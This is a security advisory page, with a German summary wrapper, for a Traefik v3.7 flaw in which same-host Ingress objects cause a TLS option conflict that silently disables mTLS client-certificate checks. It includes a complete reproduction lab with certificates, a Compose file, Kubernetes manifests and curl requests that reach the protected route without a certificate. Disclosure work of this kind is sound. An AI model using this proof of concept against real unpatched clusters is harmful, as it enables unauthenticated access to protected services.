← Übersicht Traefik

Same-host Ingress TLS option conflict disables client-certificate authentication

GHSA-j994-9gqj-9hwq

Hoch · CVSS 8.2 Netzwerk · ohne Login Fix verfügbar

Veröffentlicht
21.08.2026 11:45
Zuletzt geändert
21.08.2026
EPSS (30 Tage)
unbekannt
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Beschreibung

Originaltext der Quelle, nicht übersetzt.

## Summary There is a high severity vulnerability in Traefik's Kubernetes Ingress NGINX provider. The TLS option generated for an Ingress carrying the `nginx.ingress.kubernetes.io/auth-tls-secret` annotation was named after the Ingress namespace and name, so two Ingress objects sharing the same host, the same client CA secret and the same client-authentication mode produced two distinct TLS options for that host name. Traefik treats that as a TLS options conflict and falls back to the entry point's default TLS configuration, which does not request a client certificate, so a route configured with `nginx.ingress.kubernetes.io/auth-tls-verify-client: "on"` becomes reachable without one. The generated option name is now derived from the client CA secret and the client-authentication mode alone, so Ingresses expressing the same mTLS policy resolve to a single TLS option. Only the v3.7 line is affected: the Ingress NGINX provider's client-authentication handling was introduced in v3.7.0, and neither Traefik v2 nor the v3 lines up to v3.6 carry it. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.7.11 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik v3.7.9's Kubernetes Ingress NGINX provider can assign different TLS option names to two Ingress objects that use the same host, the same `auth-tls-secret`, and the same client-authentication mode. When those routers share an SNI/host, Traefik treats the TLS option selection as ambiguous and falls back to the entrypoint's default TLS configuration. The default TLS configuration does not require a client certificate. As a result, a route configured with `nginx.ingress.kubernetes.io/auth-tls-verify-client: "on"` can become reachable without a client certificate when another Ingress for the same host introduces the TLS-option conflict. This behavior was reproduced end to end with the official `traefik:v3.7.9` image and the Kubernetes Ingress NGINX provider. ## Affected configuration The issue requires at least two HTTPS Ingress objects for the same host. Both objects use the same client CA and client-authentication mode, but have different Ingress names. The relevant parts of the two objects are: ```yaml apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: protected-ingress namespace: mtls-conflict-lab annotations: nginx.ingress.kubernetes.io/auth-tls-secret: "mtls-conflict-lab/client-ca" nginx.ingress.kubernetes.io/auth-tls-verify-client: "on" spec: ingressClassName: nginx tls: - hosts: - mtls.example.test secretName: server-tls rules: - host: mtls.example.test http: paths: - path: /protected pathType: Prefix backend: service: name: backend port: name: http --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: same-host-second-ingress namespace: mtls-conflict-lab annotations: nginx.ingress.kubernetes.io/auth-tls-secret: "mtls-conflict-lab/client-ca" nginx.ingress.kubernetes.io/auth-tls-verify-client: "on" spec: ingressClassName: nginx tls: - hosts: - mtls.example.test secretName: server-tls rules: - host: mtls.example.test http: paths: - path: /second pathType: Prefix backend: service: name: backend port: name: http ``` The two generated TLS option names observed in the Traefik configuration were: ```text mtls-conflict-lab-protected-ingress-mtls-conflict-lab-client-ca mtls-conflict-lab-same-host-second-ingress-mtls-conflict-lab-client-ca ``` These are generated TLS option identifiers, not files or directories. Both options had `clientAuthType: RequireAndVerifyClientCert`, but their names were different because the Ingress identity was included in the generated name. Traefik then logged: ```text On EntryPoint "websecure", Host "mtls.example.test" is served by multiple routers with different TLS options, default TLSOptions will be applied ``` The default TLS configuration has no client-authentication requirement. ## Reproduction The following describes the complete lab. No directory attachment is required. The lab used Traefik v3.7.9, k3s v1.31.5-k3s1, and the Kubernetes Ingress NGINX provider. ### Certificates The test uses four ordinary PEM files: - `ca.crt`: CA used by Traefik to verify client certificates. - `server.crt` and `server.key`: server certificate and key. The certificate contains `mtls.example.test` and `control.mtls.example.test` as DNS SANs. - `client.crt` and `client.key`: a client certificate signed by `ca.crt`. They can be generated locally with OpenSSL as follows: ```bash mkdir -p certs openssl req -x509 -newkey rsa:2048 -nodes -days 3650 \ -keyout certs/ca.key -out certs/ca.crt \ -subj "/CN=mtls-conflict-lab-ca" openssl req -newkey rsa:2048 -nodes \ -keyout certs/server.key -out certs/server.csr \ -subj "/CN=mtls.example.test" cat > certs/server.ext <<'EOF' [server_ext] basicConstraints=CA:FALSE keyUsage=digitalSignature,keyEncipherment extendedKeyUsage=serverAuth subjectAltName=DNS:mtls.example.test,DNS:control.mtls.example.test EOF openssl x509 -req -days 3650 -sha256 \ -in certs/server.csr -CA certs/ca.crt -CAkey certs/ca.key \ -CAcreateserial -out certs/server.crt \ -extfile certs/server.ext -extensions server_ext openssl req -newkey rsa:2048 -nodes \ -keyout certs/client.key -out certs/client.csr \ -subj "/CN=mtls-conflict-lab-client" cat > certs/client.ext <<'EOF' [client_ext] basicConstraints=CA:FALSE keyUsage=digitalSignature,keyEncipherment extendedKeyUsage=clientAuth EOF openssl x509 -req -days 3650 -sha256 \ -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key \ -CAcreateserial -out certs/client.crt \ -extfile certs/client.ext -extensions client_ext ``` ### Traefik and k3s The static Traefik configuration was equivalent to: ```yaml services: k3s: image: rancher/k3s:v1.31.5-k3s1 privileged: true command: - server - --disable=traefik - --disable=servicelb - --tls-san=host.docker.internal - --write-kubeconfig=/output/kubeconfig.yaml - --write-kubeconfig-mode=644 ports: - "16448:6443" - "18448:8443" volumes: - ./k3s/output:/output traefik: image: traefik:v3.7.9 network_mode: "service:k3s" command: - --entrypoints.websecure.address=:8443 - --providers.kubernetesingressnginx=true - --providers.kubernetesingressnginx.endpoint=https://127.0.0.1:6443 - --providers.kubernetesingressnginx.token=${K3S_TOKEN} - --providers.kubernetesingressnginx.certauthfilepath=/etc/traefik/k3s/server-ca.crt - --providers.kubernetesingressnginx.ingressclass=nginx - --providers.kubernetesingressnginx.controllerclass=k8s.io/ingress-nginx - --log.level=DEBUG - --accesslog=true volumes: - ./k3s/server-ca.crt:/etc/traefik/k3s/server-ca.crt:ro ``` The Kubernetes service account used for this isolated test was granted access to read the test resources. The test backend was an nginx service listening on port 8080 and returning: ```text BACKEND_REACHED path=/protected ``` The complete logical Kubernetes resources were: ```yaml apiVersion: v1 kind: Namespace metadata: name: mtls-conflict-lab --- apiVersion: networking.k8s.io/v1 kind: IngressClass metadata: name: nginx spec: controller: k8s.io/ingress-nginx --- apiVersion: v1 kind: ConfigMap metadata: name: backend-nginx-config namespace: mtls-conflict-lab data: default.conf: | server { listen 8080; server_name _; access_log /dev/stdout; default_type text/plain; location / { return 200 "BACKEND_REACHED path=$request_uri\n"; } } --- apiVersion: apps/v1 kind: Deployment metadata: name: backend namespace: mtls-conflict-lab spec: replicas: 1 selector: matchLabels: app: backend template: metadata: labels: app: backend spec: containers: - name: nginx image: nginx:1.27-alpine ports: - name: http containerPort: 8080 readinessProbe: tcpSocket: port: http volumeMounts: - name: config mountPath: /etc/nginx/conf.d/default.conf subPath: default.conf readOnly: true volumes: - name: config configMap: name: backend-nginx-config --- apiVersion: v1 kind: Service metadata: name: backend namespace: mtls-conflict-lab spec: selector: app: backend ports: - name: http port: 8080 targetPort: 8080 --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: protected-ingress namespace: mtls-conflict-lab annotations: nginx.ingress.kubernetes.io/auth-tls-secret: "mtls-conflict-lab/client-ca" nginx.ingress.kubernetes.io/auth-tls-verify-client: "on" spec: ingressClassName: nginx tls: - hosts: [mtls.example.test] secretName: server-tls rules: - host: mtls.example.test http: paths: - path: /protected pathType: Prefix backend: service: name: backend port: name: http --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: same-host-second-ingress namespace: mtls-conflict-lab annotations: nginx.ingress.kubernetes.io/auth-tls-secret: "mtls-conflict-lab/client-ca" nginx.ingress.kubernetes.io/auth-tls-verify-client: "on" spec: ingressClassName: nginx tls: - hosts: [mtls.example.test] secretName: server-tls rules: - host: mtls.example.test http: paths: - path: /second pathType: Prefix backend: service: name: backend port: name: http --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: single-router-control namespace: mtls-conflict-lab annotations: nginx.ingress.kubernetes.io/auth-tls-secret: "mtls-conflict-lab/client-ca" nginx.ingress.kubernetes.io/auth-tls-verify-client: "on" spec: ingressClassName: nginx tls: - hosts: [control.mtls.example.test] secretName: server-tls rules: - host: control.mtls.example.test http: paths: - path: /protected pathType: Prefix backend: service: name: backend port: name: http ``` The `server-tls` and `client-ca` Secrets are deliberately created separately so that private key material does not need to be embedded in the report. Save the Compose block above as `docker-compose.yml` and the Kubernetes block above as `k8s-manifest.yml` before running the following commands. ### Commands and results ```bash docker compose up -d k3s until test -f k3s/output/kubeconfig.yaml; do sleep 2; done docker cp "$(docker compose ps -q k3s):/var/lib/rancher/k3s/server/tls/server-ca.crt" \ k3s/server-ca.crt export KUBECONFIG="$PWD/k3s/output/kubeconfig.yaml" sed -i.bak 's#https://127.0.0.1:6443#https://127.0.0.1:16448#' \ k3s/output/kubeconfig.yaml until kubectl get nodes >/dev/null 2>&1; do sleep 2; done kubectl -n kube-system create serviceaccount traefik-validation kubectl create clusterrolebinding traefik-validation \ --clusterrole=cluster-admin \ --serviceaccount=kube-system:traefik-validation kubectl apply -f k8s-manifest.yml kubectl -n mtls-conflict-lab create secret tls server-tls \ --cert=certs/server.crt --key=certs/server.key kubectl -n mtls-conflict-lab create secret generic client-ca \ --from-file=ca.crt=certs/ca.crt export K3S_TOKEN="$(kubectl -n kube-system create token traefik-validation)" K3S_TOKEN="$K3S_TOKEN" docker compose up -d traefik kubectl -n mtls-conflict-lab rollout status deployment/backend --timeout=120s sleep 4 ``` Request to the same-host split configuration without a client certificate: ```bash curl --http1.1 -sk -D - -o - \ --resolve mtls.example.test:18448:127.0.0.1 \ https://mtls.example.test:18448/protected ``` Observed result on `traefik:v3.7.9`: ```text HTTP/1.1 200 OK BACKEND_REACHED path=/protected ``` The same request with a valid client certificate also returned `200 OK`: ```bash curl --http1.1 -sk -D - -o - \ --resolve mtls.example.test:18448:127.0.0.1 \ --cert certs/client.crt --key certs/client.key \ https://mtls.example.test:18448/protected ``` Control request to a host served by a single Ingress, without a client certificate: ```bash curl --http1.1 -sk -D - -o - \ --resolve control.mtls.example.test:18448:127.0.0.1 \ https://control.mtls.example.test:18448/protected echo "curl_exit=$?" ``` Observed control result: ```text curl_exit=56 ``` The `-k` option only disables verification of the local server certificate. It does not provide a client certificate and does not disable server-side client-authentication. ## Impact and preconditions An unauthenticated network client can reach a route intended to require mTLS when all of the following are true: 1. The Kubernetes Ingress NGINX provider is enabled. 2. The same SNI/host is split across multiple HTTPS Ingress objects. 3. The resulting routers receive different TLS option names. 4. At least one of those routes is intended to require and verify client certificates. 5. The affected route is reachable by the client. The issue is configuration-dependent. A host served by a single unambiguous TLS option is not affected by this specific conflict. If an untrusted tenant can create another Ingress for an existing host, that tenant may be able to introduce the conflict. After the conflicting configuration has been accepted, the network client accessing the route does not need Kubernetes credentials or a client certificate. ## Suggested remediation - Reuse one TLS option identity for equivalent host-level client-authentication settings rather than including the Ingress identity in the option name. - Reject or fail closed when same-host routers have conflicting TLS options. - Do not fall back from `RequireAndVerifyClientCert` to a default `NoClientCert` configuration when a same-host conflict involves client auth. - Add a regression test proving that split same-host Ingress objects cannot downgrade `RequireAndVerifyClientCert` to `NoClientCert`. ## Source locations - `pkg/provider/kubernetes/ingress-nginx/kubernetes.go`: generates and attaches the per-Ingress auth-TLS option. - `pkg/server/router/tcp/manager.go`: resolves same-host TLS options and falls back to the default option when they differ. - `pkg/tls/tlsmanager.go`: initializes the default TLS configuration without a client-authentication requirement. </details>

Betroffene Pakete im beobachteten Stack

Gogithub.com/traefik/traefik/v3v3.7.0 → v3.7.11GHSA-j994-9gqj-9hwq

Empfohlene Prüfung

  1. Feststellen, ob und in welcher Version die betroffenen Pakete in Ihren Systemen, Images und Abhängigkeiten vorkommen.
  2. Wo eine Fix-Version genannt ist: aktualisieren. Wo nicht: Hersteller-Advisory und Referenzen auf Workarounds prüfen.
  3. Erreichbarkeit beachten: Der Angriffsweg (Netzwerk · ohne Login) ist aus dem CVSS-Vektor abgeleitet.

Diese Seite sagt nichts darüber, ob Ihre Systeme betroffen sind. Das klärt erst eine Prüfung Ihrer Versionen.